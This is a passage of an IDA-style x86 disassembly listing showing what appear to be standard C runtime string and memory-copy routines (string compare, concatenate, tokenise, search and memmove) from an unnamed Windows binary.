		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26801ADh
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 268086Bh
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4E0B74

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4E0B74, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
